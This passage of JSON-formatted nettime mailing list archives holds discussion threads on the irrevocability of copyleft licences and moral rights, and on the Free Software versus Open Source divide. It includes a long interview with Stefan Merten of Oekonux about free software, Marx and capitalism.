                        "content": "\nOn 17/11/11 01:24, Heiko Recktenwald wrote:\n\n>> A producer/copyright owner can change their mind about the license\n>> of a work in the future, but cannot retroactively change a license\n>> granted in the past if it was an indefinite license.\n>\n> This is a beautifull idea but is it true?\n\nYes.\n\n> What is \"a licence\"?\n\nA legal grant of permission. In some jurisdictions it is a form of\nlegal contract.\n\n> Is it a thing that you get? No, it is a set of rules on what you can\n> do with something else, some code or whatever.\n\nWhich affect whether you get a particular thing or not.\n\n> And all rules have to be interpreted. Transfers of the code\n> accordiing to the words of the licence have to be valid.\n\nAll legal documents have to be interpreted. The GPL and various\nCreative Commons licences have been interpreted and upheld by the\ncourts.\n\n> I would make a difference between the relation between creator A and\n> user B and the relation between user B and C.\n>\n> Even if creator A would OWE something to user B, he would owe\n> nothing to user C.\n\nB owes something to C, though, and B got it from A. A cannot change\nB's ability to give A's work to C. What A \"owes\" C depends on how\nRomantically we view A's work. But C will certainly end up with A's\nwork.\n\nYou are right that A and B have different relationships to C: under\ncopyleft A can relicence adaptations of the work, B can't. But that's\nvery different from being able to prevent C from receiving the\noriginal work from B.\n\n> But I doubt that there is any DUTY of creator A against anybody in\n> those licences in any legal sense and think that there is nothing\n> but a poem and actual consent on creator A, that can change.\n\nAs I say, the courts have upheld these \"poems\". A has no power to\nprevent C receiving the work from A. We can phrase this as a duty not\nto prevent C from receiving the work if we really want to.\n\n- Rob.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00070",
                        "date": "Sun, 20 Nov 2011 12:26:24 +0000",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "4EC8F1F0.2050708 {AT} robmyers.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00070.html",
                        "content-type": "text/plai",
                        "author_name": "Rob Myers",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                        "content": "Rob Myers said :\n\n> On 17/11/11 01:24, Heiko Recktenwald wrote:\n> > I would make a difference between the relation between creator A and\n> > user B and the relation between user B and C.\n> >\n> > Even if creator A would OWE something to user B, he would owe nothing\n> > to user C.\n> \n> B owes something to C, though, and B got it from A. A cannot change B's\n> ability to give A's work to C. What A \"owes\" C depends on how\n> Romantically we view A's work. But C will certainly end up with A's work.\n <...>\n\nJust to add to what Rob and the others have already said, I think there\nis also a confusion between copyright, moral rights and the\neffectiveness of the latter within copyleft practices. In theory A can\nstill stop C to keep on making a particular usage of A's work if there\nis a way to demonstrate that this particular usage, even though\nfully respecting the terms of the license, is damaging for A's honor and\nreputation.\n\nThat's the simplified general idea. In practice every juridiction has\nits own way to define moral rights and by extension its own cases of\nwhat is considered \"damaging\". To make things worse the very concept of\nmoral rights does not exist in all juridictions. Overall, whether it is\ndefined or not, the whole idea is difficult to put in practice, if not\nhard to make relevant to a specific context.\n\nIn the end, this only concerns very specific situations that will only\nchange the nature and possibly terminate the license or the contract\nbetween A and C. B's rights will remain unchanged, as well as the ones\nfrom D, E, F, ..., Z because free culture licenses are irrevocable. The\nGPLv3 and CC licenses are very explicit in that regard. A good\nillustration of the difficulty to deal with moral right issues is by\nchecking all the mechanisms in CC licenses to make sure A is not wrongly\ncredited for changes that were not endorsed.\n\nSo, as stated previously, once the decision is made, is public and that\nthe licensed work has been already copied/distributed, there is no\nturning back.\n\na.\n--\nhttp://su.kuri.mu\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00083",
                        "date": "Mon, 21 Nov 2011 22:54:26 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20111121215426.GD6453 {AT} hee.jungl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00083.html",
                        "content-type": "text/plai",
                        "author_name": "Aymeric Mansoux",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    }
                ],
                "message-id": "20111111132323.GD11373 {AT} hee.jungl",
                "date": "Fri, 11 Nov 2011 14:23:23 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00087",
                "content": "\n\nIt appears we cant even agree that one major difference between Free\nSoftware and Open Source/Linux is the attitude to money and hence to\ncapitalism. Jaromil (below) thinks a statement posted on the net by the\npolitburo settles the issue. But read Florian's 'in it for the money' and\neven more Stefan Merten's interview, where he imagines a society 'beyond\nlabour, money and exchange' (both below).\n\nJaromil:\n\n>Free software is a matter of freedom, not price; the word \"free\"\n>has to be intended in this way here. Furthermore, referring to the\n>wrong assumption by Keith Hart in this thread:\n>> The open source movement is split on the issue of exchange and money\n>> payment. Those who follow the Free Software Foundation appear to\n>> consider that any hint of money and exchange, even of reciprocity,\n>> leads directly to unacceptable compromise with capitalism.\n>refer to http://www.gnu.org/philosophy/selling.html to have a clear\n>point about the free-speech / free-beer issue.\n\nFlorian Cramer:\n\n>The real amount of altruism in Free Software\n>development may be debated, but any programmer who's mostly or even only\n>in it for the money would be stupid to program anything but proprietary\n>software (which, no doubt, is more profitable).\n\nInterview with Stefan Merten, Oekonux, nettime, 7/12/01:\n\n>But whereas Free Software\n>emphasizes the freedom Free Software gives the users,\n>Open Source does not care about freedom. The Open\n>Source Initiative (OSI) was founded exactly for the\n>reason to make Free Software compatible with business\n>people's thinking, and the word \"freedom\" has been\n>considered harmful for that purpose. \n\n>I had the idea that Free Software is something very\n>special and may have a real potential for a different\n>society beyond labor, money, exchange - in short:\n>capitalism - in 1998. \n\nAs it happens, I had come across the free speech/free beer distinction\nwithout having to consult the gnu website. It still seems to me that the\nfreedom of Free Software is largely, but not exclusively tied up with the\nnormative absence of money. This allows the purists to insist that those\nwho wish to work across the divide 'do not care about freedom' or are 'only\nin it for the money'. And behind that, of course, is a desire to preserve\nthe mystique of a hacker elite.\n\nKeith Hart\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00087.html",
                "list": "nettime_l",
                "author_name": "Keith Hart",
                "subject": "Re: <nettime>The Fading Altruism of Open Sour",
                "from": "Keith Hart <HART_KEITH {AT} compuserve.com>",
                "follow-up": [
                    {
                        "from": "elix Stalder <felix {AT} openflows.org>",
                        "content": "\n\n>As it happens, I had come across the free speech/free beer distinction\n>without having to consult the gnu website.\n\nI think the free speech / free beer distinction is really\ncounterproductive at this point. I understand its historical value in\nrallying US hackers in the context of a culture that fetishes \"individual\nfreedom\" to a degree that it's something that one has no longer to explain\nor argue for. Free speech = good, in all circumstances. I'm not arguing\nagainst free speech, what I'm arguing against is the idea that free speech\noffers a good metaphor to understand the value of free software / open\nsource.\n\nLessig, in his new book The Future of Ideas, offers a much better\ndefinition for what \"free\" in this context means. He writes, \"a resource\nis 'free' if (1) one can use it without permission of anyone else; or (2)\nthe permission one needs is granted neutrally\" (p.12). Our roads, for\nexample, are free in Lessig's sense. This is the case even if a toll\ncharge is levied because the charge is imposed neutrally. Everyone pays\nthe same price independent of the purpose of driving on the road. A road\nwould no longer be free if, say, Coke had sponsored its construction and\ntherefore could prohibit Pepsi trucks from using it.\n\nIn this definition, there is no difference in the freedom created by open\nsource or free software.\n\n\n>It still seems to me that the\n>freedom of Free Software is largely, but not exclusively tied up with the\n>normative absence of money. This allows the purists to insist that those\n>who wish to work across the divide 'do not care about freedom' or are 'only\n>in it for the money'. And behind that, of course, is a desire to preserve\n>the mystique of a hacker elite.\n\nI agree with Keith, the absence of money per se is not a virtue. Insisting\non the evils of money in all contexts, is the simple inversion of the\ncapitalist logic which says making money per se is good.  The\ntransformation of resources and their impact is what really matters. And\nso far, I haven't seen anyone who could show the open source approach\ntransfers time and money (or donated hardware if you prefer) into worse\ncode or less code than the FSF approach.\n\nFelix\n\n\n\n\n--------------------++-----\nLes faits sont faits.\nhttp://felix.openflows.org\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00088",
                        "date": "Wed, 19 Dec 2001 10:22:41 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200112192048.PAA23869 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00088.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                        "content": "\nAm Wed, 19.Dec.2001 um 10:22:41 -0500 schrieb Felix Stalder:\n\n> capitalist logic which says making money per se is good.  The\n> transformation of resources and their impact is what really matters. And\n> so far, I haven't seen anyone who could show the open source approach\n> transfers time and money (or donated hardware if you prefer) into worse\n> code or less code than the FSF approach.\n\nBy all probability not, because Free Software and Open Source are\ntechnically the same - the \"Open Source Definition\" is almost identical to\nthe \"Debian Free Software Guidelines\" [and was drafted by the very same\nauthor, Bruce Perens]. The both terms don't even describe differences in\ndevelopment methodology. They are diverge in philosophical and political\nterms: \"Open Source\" is, according to those who launched the term, about\ntechnically better software (\"software that sucks less\"), \"Free Software\"\nis about old-hacker-school freedom of information. -\n\nIt's quite ironical that other net cultures - such as this one here - has\ngotten it the other way round.\n\nFelix, one may of course say that the \"Free Software\" notion of freedom is\nnaive, but on the other hand the GNU-style \"Free Software\" movement\nremains the only one to date that had a consistent agenda and politics\nagainst the proprietarization of code and knowledge. (And many of those\nwho dismissed the FSF positions as obnoxious hippie fundamentalistm have\nchanged their mind since DMCA, DCSS and Sklyarov.)\n\nThe point is not that, say, \"Linux\" would stand (as \"Open Source\") against\n\"GNU\" (as \"Free Software\"). The term \"Open Source\" was coined and\ndisseminated by Eric S. Raymond very late, in 1998, as a rebranding for\ncode that preceded the term for ears or even decades (including GNU,\nLinux, BSD, Apache, Perl, sendmail etc.) and which had simply been called\nFree Software before.\n\nFlorian\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA \n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00091",
                        "date": "Wed, 19 Dec 2001 19:31:43 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200112200129.UAA30254 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00091.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "from": "\"Kermit Snelson\" <ksnelson {AT} subjectivity.com>",
                        "content": "\nFlorian Cramer:\n\n> By all probability not, because Free Software and Open Source are\n> technically the same\n\nThis is true, and the fact may be demonstrated by examining the two lists of\nlicenses evaluated by the Open Source Initiative [1] and the Free Software\nFoundation [2] respectively.  Of the dozens of software licenses that may be\nclearly identified as being on both lists, only the Apple Public Source\nLicense is considered \"open source\" by the OSI but \"Non-Free\" by the FSF.\nThat one exception may, moreover, be due more to political than technical\nreasons.  The FSF accepts the rest as \"free software\" licenses, although it\nnonetheless deprecates many of these as \"GPL-Incompatible.\"\n\nKeith Hart:\n\n> It appears we cant even agree that one major difference between Free\n> Software and Open Source/Linux is the attitude to money and hence to\n> capitalism.\n\nThe two camps have indeed taken very different rhetorical paths to what are\ndemonstrably identical conclusions.  I am less optimistic than Felix, who\ninterprets this as evidence of a great movement that is capable of absorbing\n\"very different, even contradictory ideas.\"  I see it the other way around,\nnamely as a single idea that has been absorbing different movements.\n\nThere's no other explanation, I think, for the fact that we're hearing so\nmuch group singing lately between left-leaning communitarians and the\nlibertarian right, and not only on the finer points of software license\nagreements.  Keith's recent proposal in this thread to vacate the legal\nmonopoly of central banks on the issue of legal tender certainly has the\npotential to throw yet another log on this cozy campfire.\n\nKermit Snelson\n\nNotes:\n[1] http://www.opensource.org/licenses/index.html\n[2] http://www.fsf.org/licenses/license-list.html\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00098",
                        "date": "Wed, 19 Dec 2001 22:21:08 -0800",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200112201928.OAA22240 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00098.html",
                        "content-type": "text/plai",
                        "author_name": "Kermit Snelson",
                        "subject": "RE: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "from": "Heiko Recktenwald <uzs106 {AT} IBM.rhrz.uni-bonn.de>",
                        "content": "\n> This is true, and the fact may be demonstrated by examining the two lists of\n> licenses evaluated by the Open Source Initiative [1] and the Free Software\n> Foundation [2] respectively.  Of the dozens of software licenses that may be\n\nYou take this blabla much to serious. \"Open Source\" for example isnt just\nan idea, a good idea like BSD licences, GNU etc, but first of all it is a\nlabel. Something for the \"No logo\" book. This labelism of the different\ninitiatives has nothing to do with the central concept. Maybe this is why\nI dont like Linux. So much chaos and desktop cosmetics. I stay with\nFreeBSD. And I like GNU.\n\n\nH.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00101",
                        "date": "Thu, 20 Dec 2001 17:15:55 +0100 (CET)",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200112202120.QAA25099 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00101.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "RE: <nettime>The Fading Altruism of Open Sour"
                    }
                ],
                "message-id": "200112191850.NAA21168 {AT} bbs.thing.net",
                "date": "Wed, 19 Dec 2001 04:32:30 -0500",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "kadian antal <subsolians {AT} yahoo.com>",
                "id": "00027",
                "content": "\nPreview of next issue of subsol, online Dec 15 \nhttp://subsol.c3.hu\n\n\n//   FREE SOFTWARE &  G P L  SOCIETY   //\n\n<< Interview with Stefan Merten, Oekonux, Germany \n>> by Joanne Richardson, November 2001\n\n>> Q: Oekonux - an abbreviation of \"OEKOnomie\" and\n\"liNUX\" -  is a German mailing list discussing the\nrevolutionary possibilities of Free Software. Many\npeople speak of Free Software and Open Source Software\ninterchangeably - could you explain how you understand\nthe differences between them?\n\nThe term \"Free Software\" is older than \"Open Source\".\n\"Free Software\" is used by the Free Software\nFoundation [http://www.fsf.org/] founded by Richard\nStallman in 1985. The term \"Open Source\" has been\ndeveloped by Eric S. Raymond and others, who, in 1998,\nfounded the Open Source Initiative\n[http://www.opensource.org/]. It's not so much a\nquestion of definition as of the philosophy behind the\ntwo parts of the movement - the differences between\nthe definition of Open Source Software and Free\nSoftware are relatively few. But whereas Free Software\nemphasizes the freedom Free Software gives the users,\nOpen Source does not care about freedom. The Open\nSource Initiative (OSI) was founded exactly for the\nreason to make Free Software compatible with business\npeople's thinking, and the word \"freedom\" has been\nconsidered harmful for that purpose. \n\n>> Q: Free software means the freedom to run, copy,\ndistribute, study, change and improve the software,\nand these freedoms are protected by the GNU General\nPublic License. The definition presupposes open\nsources as the necessary condition for studying how\nthe software works and for making changes, but it also\nimplies more. The definition of Open Source is quite\nclose: it means the ability to read, redistribute, and\nmodify the source code - but because this is a better,\nfaster way to improve software. Openess = speed = more\nprofit.  The Open Source Initiative proclaims quite\nproudly that it exists in order to persuade the\n\"commercial world\" of the superiority of open sources\non \"the same pragmatic, business-case grounds that\nmotivated Netscape.\" But recently, it is the term\n\"Open Source\" that has gained popularity \u0085 and by\nanalogy everything has become \"Open\"--open source\nsociety, open source money, open source schooling (to\necho some of the titles of panels of the last Wizards\nof OS conference in Berlin.)\n\nIndeed the Open Source Initiative has been extremely\nsuccessful in pushing the freedom-subtracted term into\npeople's heads. Today people from the Free Software\nFoundation always feel the need to emphasize that it's\nthe freedom that is important - more important than\nthe efficiency of production, which is the primary aim\nbehind open source. Of course open sources are a\nprecondition for most of this freedom, but open\nsources are not the core idea of Free Software and so\nOpen Source is at least a misnomer. \n\n>> Q: How do you mean it's a \"misnomer\"?  The two\nmovements exist and the names correspond to the\ndifferent ideas behind them. And \"Open Source\" is the\nname the people from this initiative chose for\nthemselves, and seems quite an accurate\ncharacterization of their focus. \n\nFree Software and Open Source Software are not two\nmovements, but a single movement with two factions,\nand as far as I can see the distinction plays a major\nrole mostly in the more ideological discussions\nbetween members of the two factions. They are\ncollaborating on projects, and sometimes unite, for\ninstance, when it is a question of defending against\nthe attacks of Micro$oft\n[http://perens.com/Articles/StandTogether.html]. \n\nAnd, no, \"Open Source\" is not an accurate\ncharacterization of this faction, since their focus\nhas been making Free Software compatible with business\npeople's thinking. A more correct name would have been\n\"Free Software for Business\" - or something like that.\n\n>> Q: What seems misleading to me is that the leftist\nintelligentsia has begun to use \"Open Source\" as a\ncause to promote without realizing the pro-capitalist\nconnotations behind the term.\n\nToday the widespread inflation of the term \"Open\nSource\" has a deep negative impact. Often the core\nidea behind Free Software - establishing the freedom\nof the user - is not known to people who are only\ntalking of Open Source - be it leftist intelligentsia\nor other people. I think this is a pity and would\nrecommend using only the term Free Software because\nthis is the correct term for the phenomenon. You don't\ncall \"green\" \"red\" if \"green\" is the right term - do\nyou? After all, even \"Open Source\" software would not\nbe successful if the practical aspect of freedom was\nnot inherent in its production and use. Interestingly,\nin an article entitled \"Its Time to Talk about Free\nSoftware Again,\" one of the founders of the Open\nSource Initiative also considers the current\ndevelopment as wrong.\n[http://www.perens.com/perens_com/Articles/ItsTimeToTalkAboutFreeSoftwareAgain.html]\n\n>> Q: The idea behind Oekonux began, in kernel form at\nthe first Wizards of OS conference in Berlin in 1999.\nHow did the motivation to begin Oekonux develop from\nthis context? \n\nI had the idea that Free Software is something very\nspecial and may have a real potential for a different\nsociety beyond labor, money, exchange - in short:\ncapitalism - in 1998. In September 1998, I tried to\nmake that a topic on the Krisis mailing list. However,\nnext to nobody was interested. In July 1999, I\nattended the first \"Wizard of Open Source\"\n[http://www.mikro.org/Events/OS] conference organized\nby mikro in Berlin, and was especially interested in\nthe topic \"New economy?\". However, in the context of\nthe idea I mentioned above - the potential to\ntransform society -  I found the ideas presented there\nnot very interesting. After the talks I took the\nopportunity to organize a spontaneous BOF (Birds Of a\nFeather) session and luckily it worked well. So we sat\nthere with about 20 people and discussed the ideas\npresented in the talks. At the end I asked all the\npeople to give me their e-mail address.\n\nAfter the WOS conference, mikro created a mailing list\nfor us - and that was the birth of the Oekonux mailing\nlist which is the core of the project. In December\n1999 I created the web site [www.oekonux.de]. Its main\npurpose is to archive the mailing list. Texts and\nother material created in the context of the project\nis presented there as well as links to web sites and\npages relevant to our discussion in some way. There is\nalso an English/international part of the project\n([www.oekonux.org] archiving [list-en {AT} oekonux.org]),\nwhich, however, is still nearly non-existent. I find\nthis a pity but unfortunately until now there is\nnobody with enough free time and energy to give this\npart of the project a real start. So until today all\nthe material is in German and there are only a few\ntranslations of the texts. In June 2000 I created\nanother mailing list ([projekt {AT} oekonux.de]) which is\nconcerned with the organization of the project. \n\nDuring April 28-30, 2001 in Dortmund we had the first\nOekonux conference\n([http://www.oekonux-konferenz.de/]), which brought\ntogether people from different areas who were\ninterested in the principles of Free Software and the\npossible consequences of these principles on their\nparticular field. The conference was attended by about\n170 persons from a very broad range of ages and\nbackgrounds, from software developers, to political\ntheorists and scientists. It was a very exciting\nconference with a perfect atmosphere and another\nmilestone in the way we and - if we're not completely\nwrong - the whole world is going. The next conference\nis planned to take place in Nov 1-3, 2002.\n\n>> Q: How active and large is the list? \n\n>From the start we have had very interesting\ndiscussions with some silent periods but usually an\naverage of 6-8 mails a day. The atmosphere on the list\nis very pleasant and flames are nearly unknown.\nFortunately it has not been necessary to moderate the\nlist, as it regulates itself very well. The\ndiscussions are very contentful and this interview\nwould not have been possible without them. They cover\na wide number of details but nearly always stay on the\ncentral topic of the list: the possible impacts of\nFree Software on society. At the moment we have about\n200 subscribers at [liste {AT} oekonux.de], who come from a\nwide range of intellectual traditions and areas of\ninterest. Though of course they all share a common\ninterest in political thought, there are people from\nthe Free Software and Hardware areas as well as\nengineers of different brands, hard core political\npeople as well as people with a main interest in\nculture and so on. Though the traffic is quite high we\nhave nearly no unsubscriptions which I think is a\nproof for the quality of the list. \n\n>> Q: In a previous interview with Geert Lovink\n[http://www.nettime.org/cgi-bin/wilma_hiliter/nettime/200104/msg00127.html?line=8]\n you mentioned that the relationship between free\nsoftware and Marxism is one of the central topics\ndebated on the list ... Do you think Marx is still\nrelevant for an analysis of contemporary society?\nCould you give an idea of the scope of this debate on\nthe list?\n\nFirst of all we recognize the difference between Marx'\nviews and the views of the different Marxist currents.\nAlthough different brands of Marxism have distorted\nMarx' thought to the point where it has become\nunrecognizable, I tend to think that only Marx'\nanalysis gives us the chance to understand what is\ngoing on today. The decline of the labor society we\nare all witnessing in various ways cannot be\nunderstood without that analysis. The Krisis group\n[http://www.krisis.org] has offered a contemporary\nreading of Marx, claiming that capitalism is in decay\nbecause the basic movement of making money from labor\nworks less and less. This doesn't mean that capitalism\nmust end soon, but it won't ever be able to hold its\nold promises of wealth for all. A number of people on\nthe Oekonux mailing list have built upon the Krisis\ntheories and carried them onto new ground. On the list\namong other things we try to interpret Marx in the\ncontext of Free Software. It's very interesting that\nmuch of what Marx said about the final development of\ncapitalism can be seen in Free Software. In a sense,\nwe try to re-think Marx from a contemporary\nperspective, and interpret current capitalism as\ncontaining a germ form of a new society. \n\n>> Q: According to many circles, Marx is obsolete - he\nwas already obsolete in the sixties, when the mass\nsocial upheavals and the so-called new social\nmovements showed that not class but other forms of\noppressive power had become determining instances and\nthat the economic base was not the motor that moved\ncontradictions.\n\nI think that at that time the economic base was not as\nmature as it has become today. In the last ten to\ntwenty years Western societies started to base their\nmaterial production and all of society more and more\non information goods. The development of computers as\nuniversal information processors with ever increasing\ncapacity is shifting the focal point of production\nfrom the material side to the immaterial, information\nside. I think that today the development of the means\nof production in capitalism has entered a new\nhistorical phase.\n\nThe most important thing in this shift in the means of\nproduction is that information has very different\nfeatures than matter. First of all, information may be\ncopied without loss - at least digital information\nusing computers. Second and equally important, the\nmost effective way to produce interesting information\nis to foster creativity. Free Software combines these\ntwo aspects, resulting in a new form of production.\nObviously Free Software uses the digital copy as a\ntechnical basis. Thus Free Software, like any digital\ninformation, is not a scarce good; contrary to the IPR\n(intellectual property rights) people, the Free\nSoftware movement explicitly prevents making Free\nSoftware scarce. So, scarcity, which has always been a\nfundamental basis for capitalism, is not present in\nFree Software: Existing Free Software is available for\nnext to zero price.\n\nMore importantly, however, the organization of the\nproduction of Free Software differs widely from that\nof commodities produced for maximizing profit. For\nmost Free Software producers there is no other reason\nthan their own desire to develop that software. So the\ndevelopment of Free Software is based on the\nself-unfolding or self-actualization of the single\nindividual. This form of non-alienated production\nresults in better software because the use of the\nproduct is the first and most important aim of the\ndeveloper - there simply is no profit which could be\nmaximized. The self-unfolding of the single person is\npresent in the process of production, and the\nself-unfolding of the many is ensured by the\navailability of high quality Free Software.\n\nAnother important factor is that capitalism is in deep\ncrisis.Until the 1970s capitalism promised a better\nworld to people in the Western countries, to people in\nthe former Soviet bloc and to the\nThird World. It stopped doing it starting in the 1980s\nand dismissed it completely in the 1990s. Today the\ncapitalist leaders are glad if they are able to fix\nthe biggest leaks in the sinking\nship. The resources used for that repair are\npermanently increasing- be it financial operations to\nprotect Third World states from the inability to pay\ntheir debt, or the kind of military operations we see\nin Afghanistan today.\n\nThese processes were not mature in the 1960s but they\nare today. Maybe today for the first time in history\nwe are able to overcome capitalism on the bases it has\nprovided, by transcending it into a new society that\nis less harmful than the one we have.\n\n>> Q: How can Free Software \"overcome\" capitalism from\nthe bases it has provided? The idea of a dialectical\nnegation of capitalism (an immanent critique from the\ninside that takes over the same presuppositions of the\nsystem it negates) has frequently been discredited.\nBoth Marx and Lenin's ideas of a dialectical negation\nof capitalism preserved the imperative of\nproductivity, the utility of instrumental technology,\nthe repressive apparatus of the State, police and\nstanding army, as a necessary \"first stage.\"  And if\nyou start from the inside, you will never get anywhere\nelse . . .  the argument goes. \n\nFree Software is both inside and outside capitalism.\nOn the one hand, the social basis for Free Software\nclearly would not exist without a flourishing\ncapitalism. Only a flourishing capitalism can provide\nthe opportunity to develop something that is not for\nexchange. On the other hand, Free Software is outside\nof capitalism for the reasons I mentioned above:\nabsence of scarcity and self-unfolding instead of the\nalienation of labor in a command economy. This kind of\nrelationship between the old and the new system is\ntypical for germ forms - for instance you can see it\nin the early stage of capitalist development, when\nfeudalism was still strong.\n\n>> Q: In what sense is the production of Free Software\nnot \"alienated\"? One of the reasons that labor is\nalienated is because the workers sells a living thing\n- qualitatively different forms of productive activity\nwhich in principle can't be measured - in exchange for\na general measure, money. As Marx said somewhere, the\nworker does not care about the shitty commodities he\nis producing, he just does it for this abstract\nequivalent, the money he receives as compensation. \n\nIt seems you're talking about the difference between\nuse value - the use of goods or labor  - and exchange\nvalue - reflected in the price of the commodities that\ngoods or labor are  transformed into by being sold on\nthe market. It's true that the use value of goods as\nwell as labor is qualitatively different. It's also\ntrue that the exchange value of a commodity - be it a\ncommodity or wage labor - is a common measure, an\nabstraction of the qualitative features of a product.\nBut after all you need a common measure to base an\nexchange on. One of the problems of capitalism is that\nthis abstraction is the central motor of society. The\nuse of something - which would be the important thing\nin a society focusing on living well - is only loosely\nbound to that abstraction. That is the basis of the\nalienation of work performed for a wage. In Free\nSoftware because the product can be taken with only\nmarginal cost and, more importantly, is not created\nfor being exchanged, the exchange value of the product\nis zero. Free Software is worthless in the dominant\nsense of exchange.\n\nFree Software may be produced for numerous reasons -\nbut not for exchange. If there is no external\nmotivation - like making money - there must be\ninternal motivations for the developers. These\ninternal motivations, which are individually very\ndifferent, are what we call self-unfolding (from the\nGerman term \"Selbstentfaltung\", similar but not\ncompletly the same as \"self-development\"). Without\nexternal motivations, there is not much room for\nalienation.\n\nOf course self-unfolding is a common phenomenon in\nother areas, such as art or hobbies. However, Free\nSoftware surpasses the older forms of self-unfolding\nin several ways and this is what makes it interesting\non the level of social change:\n\n* Most products of self-unfolding may be useful for\nsome persons, but this use is relatively limited. Free\nSoftware, however, delivers goods which are useful for\na large number of persons - virtually everybody with a\ncomputer.\n\n* Most products of self-unfolding are the results of\noutmoded forms of production, like craft-work. Free\nSoftware is produced using the most advanced means of\nproduction mankind has available.\n\n* Most products of self-unfolding are the fruits of\nthe work of one individual. Free Software depends on\ncollaborative work - it is usually developed by\ninternational teams and with help from the users of\nthe product.\n\n* All products of self-unfolding I can think of have\nbeen pushed away once the same product becomes\navailable on the market. By contrast, Free Software\nhas already started to push away software developed\nfor maximizing profit in some areas, and currently\nthere seems to be no general limit to this process.\n\nSo contrary to older forms of self-unfolding Free\nSoftware provides a model in which self-unfolding\nbecomes relevant on a social level. The products of\nthis sort of self-unfolding can even be interesting\nfor commercial use.\n\n>> Q: Some theorists have analyzed the internet as a\nkind of \"gift\" economy. In other words, it is not\nsubject to measure and exchange. Things are freely\nproduced and freely taken. And unlike exchange, which\nhas a kind of finality (I pay one dollar I buy one\nbottle of Coca Cola, and it's over), the gift, since\nit cannot be measured, is a kind of infinite\nreciprocity. Gifts are not about calculation of value,\nbut about building social relationships. Do you see\nFree Software as a gift \"economy\"?\n\nI don't like talking about gifts in Free Software or\nin terms of the Internet in general. There is no\nreciprocity in Free Software as, similarly, there is\nno reciprocity on the Internet. I have used thousands\nof web pages and millions of lines of code contained\nin Free Software without giving anything back. There\nsimply is no reciprocity and even better: there is no\nneed for reciprocity. You simply take what you need\nand you provide what you like. It's not by chance,\nthat this reflects the old demand of \"Everybody\naccording to his/her needs\".\n\nIndeed there are several attempts, which are at best\nmisleading, to understand the Internet and/or Free\nSoftware in terms of capitalist dogmas. The talk about\n\"gift economies\" is one of them, because it focuses on\ngifts as some sort of - non-capitalist but nonetheless\n- exchange. Even worse is the talk of an \"attention\neconomy\" which defines attention as a kind of\ncurrency. The Internet, and especially Free Software\nare new phenomena which can't be understood adequately\nby using the familiar thought patterns of capitalism.\n\n>> Q: In what sense is \"GPL Society\" beyond the\nfamiliar thought patterns of capitalism? \n\nWith the term \"GPL Society\" we named a society based\non the principles of production of Free Software.\nThese principles are:\n\n* self-unfolding as the main motivation for\nproduction,\n* irrelevance of 